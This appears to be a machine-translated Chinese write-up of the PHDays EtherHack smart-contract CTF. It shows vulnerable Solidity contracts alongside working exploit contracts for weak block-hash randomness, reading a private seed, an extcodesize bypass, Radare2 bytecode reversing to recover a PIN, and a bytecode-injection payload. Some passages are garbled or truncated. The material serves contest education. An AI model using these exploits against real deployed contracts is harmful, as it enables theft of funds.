
今年,PHDays首次举办了一场名为
EtherHack的比赛。 参与者寻找智能合约中的漏洞以提高速度。 在本文中,我们将向您介绍比赛的任务以及解决这些问题的可能方法。
Azino 777
赢彩票并打破底池!
前三个任务与伪随机数生成中的错误有关,我们最近谈到了这些问题:
预测以太坊智能合约中的随机数 。 第一项任务基于伪随机数生成器(PRNG),它使用最后一块的哈希作为熵的来源来生成随机数:
pragma solidity ^0.4.16; contract Azino777 { function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); if(num == bet) { msg.sender.transfer(this.balance); } }
由于同一块中任何事务的调用
block.blockhash(block.number-1)
函数
block.blockhash(block.number-1)
的结果都是相同的,因此攻击者可以使用具有相同
rand()
函数的漏洞利用合同通过内部消息来调用目标合同:
function WeakRandomAttack(address _target) public payable { target = Azino777(_target); } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); }
私人瑞安
我们添加了一个没人能计算的私有初始值。
此任务是上一个任务的稍微复杂的版本。 种子变量被视为私有变量,用于偏移块序号(block.number),以便该块的哈希不依赖于先前的块。 每次下注后,种子将被重写为新的“随机”偏移量。 例如,在
Slotthereum彩票中就是这样。
contract PrivateRyan { uint private seed = 1; function PrivateRyan() { seed = rand(256); } function spin(uint256 bet) public payable { require(msg.value >= 0.01 ether); uint256 num = rand(100); seed = rand(256); if(num == bet) { msg.sender.transfer(this.balance); } } }
与之前的任务一样,黑客只需要将
rand()
函数复制到合约漏洞中,但是在这种情况下,必须在区块链外部获取私有变量种子的值,然后将其作为参数发送给漏洞。 为此,您可以使用web3库中的
web3.eth.getStorageAt()方法:
读取区块链外部的合同存储以获取初始值收到初始值后,仅保留将其发送给漏洞利用程序,这与第一个任务中的几乎相同:
contract PrivateRyanAttack { PrivateRyan target; uint private seed; function PrivateRyanAttack(address _target, uint _seed) public payable { target = PrivateRyan(_target); seed = _seed; } function attack() public { uint256 num = rand(100); target.spin.value(0.01 ether)(num); } }
命运之轮
该彩票使用后续块的哈希。 尝试计算一下!
在此任务中,有必要在下注后找出其编号存储在游戏结构中的区块的哈希值。 然后在下一次下注后提取此哈希以生成随机数。
Pragma solidity ^0.4.16; contract WheelOfFortune { Game[] public games; struct Game { address player; uint id; uint bet; uint blockNumber; } function spin(uint256 _bet) public payable { require(msg.value >= 0.01 ether); uint gameId = games.length; games.length++; games[gameId].id = gameId; games[gameId].player = msg.sender; games[gameId].bet = _bet; games[gameId].blockNumber = block.number; if (gameId > 0) { uint lastGameId = gameId - 1; uint num = rand(block.blockhash(games[lastGameId].blockNumber), 100); if(num == games[lastGameId].bet) { games[lastGameId].player.transfer(this.balance); } } } function rand(bytes32 hash, uint max) pure private returns (uint256 result){ return uint256(keccak256(hash)) % max; } function() public payable {} }
在这种情况下,有两种可能的解决方案。
- 通过漏洞利用合同两次调用目标合同。 调用block.blockhash(block.number)函数的结果将始终为零。
- 等待256个方块进入,然后再下注。 由于以太坊虚拟机(EVM)对可用块哈希数的限制 ,因此存储的块序列号哈希将为零。
在这两种情况下,获胜投注
uint256(keccak256(bytes32(0))) % 100
或“ 47”。
也许给我打电话
该合同不喜欢其他合同所称的合同。
保护合约不被其他合约调用的一种方法是使用汇编程序指令EVM
extcodesize
,该指令在其地址处返回合约的大小。 方法是使用汇编器插入将此指令用于事务发送方的地址。 如果结果大于零,则说明交易的发送者是一个合同,因为以太坊中的普通地址没有代码。 正是此方法用于此任务中,以防止其他合同调用该合同。
contract CallMeMaybe { modifier CallMeMaybe() { uint32 size; address _addr = msg.sender; assembly { size := extcodesize(_addr) } if (size > 0) { revert(); } _; } function HereIsMyNumber() CallMeMaybe { if(tx.origin == msg.sender) { revert(); } else { msg.sender.transfer(this.balance); } } function() payable {} }
tx.origin
事务
tx.origin
指向该事务的原始创建者,而msg.sender指向最后一个调用者。 如果我们从通常的地址发送事务,则这些变量将相等,并且最终将得到
revert()
。 因此,要解决我们的问题,必须绕过
extcodesize
指令的验证,以便
tx.origin
和
msg.sender
不同。 幸运的是,EVM中有一个不错的功能可以帮助您:

确实,当刚刚放置的合同在构造函数中调用其他合同时,它本身还不存在于区块链中,它仅充当钱包。 因此,代码未绑定到新合同,并且extcodesize将返回零:
contract CallMeMaybeAttack { function CallMeMaybeAttack(CallMeMaybe _target) payable { _target.HereIsMyNumber(); } function() payable {} }
锁
奇怪的是,城堡已关闭。 尝试通过解锁功能(字节4密码)获取密码。 每次尝试解锁将花费您0.5乙醚。
在此任务中,没有为参与者提供代码-他们必须通过其字节码恢复合同的逻辑。 一种选择是使用Radare2,该平台用于
反汇编和
调试EVM 。
首先,我们将发布一个任务示例并随机输入代码:
await contract.unlock("1337", {value: 500000000000000000}) →false
尝试当然是好的,但是没有成功。 现在尝试调试此事务。
r2 -a evm -D evm "evm://localhost:8545@0xf7dd5ca9d18091d17950b5ecad5997eacae0a7b9cff45fba46c4d302cf6c17b7"
在这种情况下,我们指示Radare2使用evm架构。 然后,该工具连接到以太坊节点,并在虚拟机中检索此事务的跟踪。 现在,最后,我们准备深入探讨EVM字节码。
首先,您需要执行分析:
[0x00000000]> aa [x] Analyze all flags starting with sym. and entry0 (aa)
接下来,我们使用pd 1000命令反汇编前1000条指令(这应该足以覆盖整个合同),并切换为使用VV命令查看图形。
在用
solc
编译的EVM字节码中,通常是功能管理器排在第一位。 基于包含函数签名的调用数据的前四个字节(定义为
bytes4(sha3(function_name(params)))
,函数管理器决定要调用哪个函数。 我们对
unlock(bytes4)
功能
unlock(bytes4)
感兴趣,该功能对应于
0x75a4e3a0
。
按照使用s键的执行流程,我们到达将
callvalue
与值
0x6f05b59d3b20000
或
500000000000000000
进行比较的节点,该值等于0.5以太:
push8 0x6f05b59d3b20000 callvalue lt
如果提供的以太币足够,那么我们发现自己处于一个类似于控制结构的节点中:
push1 0x4 dup4 push1 0xff and lt iszero push2 0x1a4 jumpi
该代码将值0x4放在堆栈的顶部,检查上限(该值不应超过0xff),并将lt与从堆栈的第四个元素(dup4)复制的某个值进行比较。
滚动到图的最底部,我们看到第四个元素本质上是一个迭代器,并且此控制结构是一个与
for(var i=0; i<4; i++):
相对应的循环
for(var i=0; i<4; i++):
push1 0x1 add swap4
如果考虑循环的主体,很明显它枚举了四个传入的字节,并对每个字节执行一些操作。 首先,循环检查第n个字节是否大于0x30:
push1 0x30 dup3 lt iszero
并且该值小于0x39:
push1 0x39 dup3 gt iszero
这实际上是检查给定字节是否在0到9的范围内。如果检查成功,那么我们发现自己处于最重要的代码块中:

让我们将此块分为几部分:
1.堆栈中的第三个元素是PIN码第n个字节的ASCII码。 0x30(ASCII码为零)被压入堆栈,然后从该字节的代码中减去:
push1 0x30 dup3 sub
也就是说,
pincode[i] - 48
,实际上我们从ASCII码中得到一个数字,我们称它为d。
2. 0x4被添加到堆栈中,并用作堆栈中第二个元素d的指数:
swap1 pop push1 0x4 dup2 exp
即,
d ** 4
。
3.检索堆栈的第五个元素,并将乘幂结果添加到其中。 将此总和称为S:
dup5 add swap4 pop dup1
即,
S += d ** 4
。
4. 0xa(10的ASCII码)被压入堆栈,并用作堆栈中第七个元素(在此加法之前为第六个)的乘法器。 我们不知道它是什么,因此我们将其称为U。然后将d添加到乘法结果中:
push1 0xa dup7 mul add swap5 pop
也就是说:
U = U * 10 + d
或更简单地说,该表达式将整个pin代码作为一个数字从单个字节中恢复
([0x1, 0x3, 0x3, 0x7] → 1337)
。
我们所做的最困难的事情,现在让我们在循环后继续执行代码。
dup5 dup5 eq
如果堆栈上的第五个元素和第六个元素相等,那么执行流程将把我们带到sstore指令,该指令在合同存储中设置某个标志。 由于这是唯一的存储指令,因此这显然是我们想要的。
但是如何通过这项测试? 正如我们已经发现的那样,堆栈上的第五个元素是S,第六个元素是U。由于S是将PIN码的所有位加到第四幂的总和,因此我们需要一个满足此条件的PIN码。 在我们的案例中,分析表明
1**4 + 3**4 + 3**4 + 7**4
不等于1337,并且我们没有达到获胜的
sstore
指令。
但是现在我们可以计算一个满足该方程式条件的数字。 只有四个数字可以写为它们的四度数字的总和:1634、8208和9474。它们中的任何一个都可以打开锁!
海盗船
嘿,萨拉格! 一艘海盗船停泊在港口。 让他放下锚,与乔利·罗杰(Jolly Roger)升起国旗,去寻找宝藏。
合同执行的标准过程包括三个动作:
- 调用
dropAnchor()
函数,其块号应比当前块大100,000块。 该函数动态创建一个合同,即“锚”,可以在指定块后使用selfdestruct()
将其“解除”。 - 调用
pullAnchor()
函数,如果经过了足够的时间(很多时间!),它将启动pullAnchor()
)。 - 调用sailAway(),如果不存在锚协定,则将
blackJackIsHauled
设置为true。
pragma solidity ^0.4.19; contract PirateShip { address public anchor = 0x0; bool public blackJackIsHauled = false; function sailAway() public { require(anchor != 0x0); address a = anchor; uint size = 0; assembly { size := extcodesize(a) } if(size > 0) { revert();
该漏洞非常明显:在
dropAnchor()
函数中创建协定时,我们直接注入了汇编程序指令。 但是主要的困难是创建一个有效载荷,使我们能够通过
block.number
。
在EVM中,可以使用create语句创建合同。 它的参数是值,输入偏移量和输入大小。 value是托管合同本身的字节码(初始化代码)。 在我们的例子中,初始化代码+合同代码放置在uint256中(感谢
GasToken团队的建议):
0x6a63004141414310585733ff600052600b6015f3
其中黑体字是托管合同的代码,而414141是注入位置。 由于我们面临着摆脱throw操作符的任务,因此我们需要插入新合同并重写初始化代码的尾部。 让我们尝试使用0xff指令注入合同,这将导致使用
selfdestruct()
无条件删除锚定合同:
68 414141ff3f3f3f3f3f ;; push9合约
60 00 ;; 推1 0
52 ;; 商店
60 09 ;; 推1 9
60 17 ;; 推1 17
f3 ;; 归还
如果我们将此字节序列转换为
uint256 (9081882833248973872855737642440582850680819)
并将其用作
dropAnchor()
函数的参数,
dropAnchor()
得到以下代码变量值(黑体字的字节码是我们的有效负载):
0x630068414141ff3f3f3f3f3f60005260096017f34310585733ff
在代码变量成为initcode变量的一部分之后,我们得到以下值:
0x68414141ff3f3f3f3f3f60005260096017f34310585733ff600052600b6015f3
现在高字节
0x6300
消失了,其余字节码在
0xf3 (return)
之后
0xf3 (return)
。

结果,创建了具有更改逻辑的新合同:
41 ;; 币库
41 ;; 币库
41 ;; 币库
ff ;; 自毁
3f ;; 垃圾
3f ;; 垃圾
3f ;; 垃圾
3f ;; 垃圾
3f ;; 垃圾
如果现在调用pullAnchor()函数,则该合约将被立即销毁,因为我们不再需要检查block.number。 之后,我们调用sailAway()函数并庆祝胜利!
结果
- 第一名,并以相当于1000美元的金额播出:Alexey Pertsev(p4lex)
- 第二名和Ledger Nano S:Alexey Markov
- 第三名和PHDays纪念品:Alexander Vlasov
所有结果:
etherhack.positive.com/#/scoreboard
祝贺获奖者,并感谢所有参与者!
PS感谢
Zeppelin 使Ethernaut CTF平台
的源代码开源。